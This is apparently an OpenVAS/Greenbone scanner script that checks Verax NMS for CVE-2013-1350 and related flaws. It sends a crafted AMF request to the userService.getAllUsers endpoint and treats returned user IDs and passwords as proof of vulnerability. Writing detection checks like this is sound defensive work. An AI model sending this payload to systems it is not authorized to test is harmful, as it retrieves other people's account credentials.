Verax Network Management System Multiple Vulnerabilities

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803181");
  script_version("2023-07-27T05:05:08+0000");
  script_cve_id("CVE-2013-1350", "CVE-2013-1351", "CVE-2013-1352", "CVE-2013-1631");
  script_tag(name:"cvss_base", value:"6.4");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-07-27 05:05:08 +0000 (Thu, 27 Jul 2023)");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-02-03 16:47:00 +0000 (Mon, 03 Feb 2020)");
  script_tag(name:"creation_date", value:"2013-03-15 13:15:33 +0530 (Fri, 15 Mar 2013)");
  script_name("Verax Network Management System Multiple Vulnerabilities");

  script_xref(name:"URL", value:"http://secunia.com/advisories/52473");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/58334");
  script_xref(name:"URL", value:"http://seclists.org/bugtraq/2013/Mar/38");
  script_xref(name:"URL", value:"http://seclists.org/bugtraq/2013/Mar/37");
  script_xref(name:"URL", value:"http://seclists.org/bugtraq/2013/Mar/36");
  script_xref(name:"URL", value:"http://seclists.org/bugtraq/2013/Mar/35");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/525916");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/525917");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/525918");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 9400);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to bypass certain security
  restrictions, perform unauthorized actions and obtain sensitive information.
  This may aid in launching further attacks.");

  script_tag(name:"affected", value:"Verax NMS version prior to 2.1.0");

  script_tag(name:"insight", value:"- An improper restricting access to certain actions via Action Message Format
  (AMF), which can be exploited to retrieve user information by requesting
  certain objects via AMF

  - The decryptPassword() uses a static, hard coded private key to facilitate
  process. These passwords should be considered insecure due to the fact
  that recovering the private key is decidedly trivial.

  - The private and public keys are hard coded into clientMain.swf the encrypted
  password could be captured and replayed against the service by an attacker.

  - The Verax NMS Console, users can navigate to monitored devices and perform
  predefined actions (NMSAction), such as repairing tables on a MySQL database
  or restarting services.");

  script_tag(name:"solution", value:"Upgrade to Verax NMS 2.1.0 or later.");

  script_tag(name:"summary", value:"Verax Network Management System is prone to multiple vulnerabilities.");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port(default:9400);

host = http_host_name(port:port);

sndReq = http_get(item:string("/enetworkmanagementsystem-fds/eNetwor",
         "kManagementSystem/index.jsp"), port:port);
rcvRes = http_keepalive_send_recv(port:port, data:sndReq);

if("Path=/enetworkmanagementsystem-fds" >< rcvRes)
{

  postdata = raw_string(0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00, 0x17,
                        0x75, 0x73, 0x65, 0x72, 0x53, 0x65, 0x72, 0x76,
                        0x69, 0x63, 0x65, 0x2e, 0x67, 0x65, 0x74, 0x41,
                        0x6c, 0x6c, 0x55, 0x73, 0x65, 0x72, 0x73, 0x00,
                        0x02, 0x2f, 0x31, 0x00, 0x00, 0x00, 0x00, 0x0a,
                        0x00, 0x00, 0x00, 0x00);

  req = string("POST /enetworkmanagementsystem-fds/messagebroker/amf HTTP/1.1\r\n",
               "Host: ", host, "\r\n",
               "Content-Type: application/x-amf\r\n",
               "Content-Length: ", strlen(postdata), "\r\n",
               "\r\n", postdata);
  rcvRes = http_keepalive_send_recv(port:port, data:req);

  if("user_id" ><  rcvRes && "user_pass" >< rcvRes &&
     "user_phone" >< rcvRes && "enetworkmanagementsystem" >< rcvRes)
  {
    security_message(port:port);
    exit(0);
  }
}

exit(99);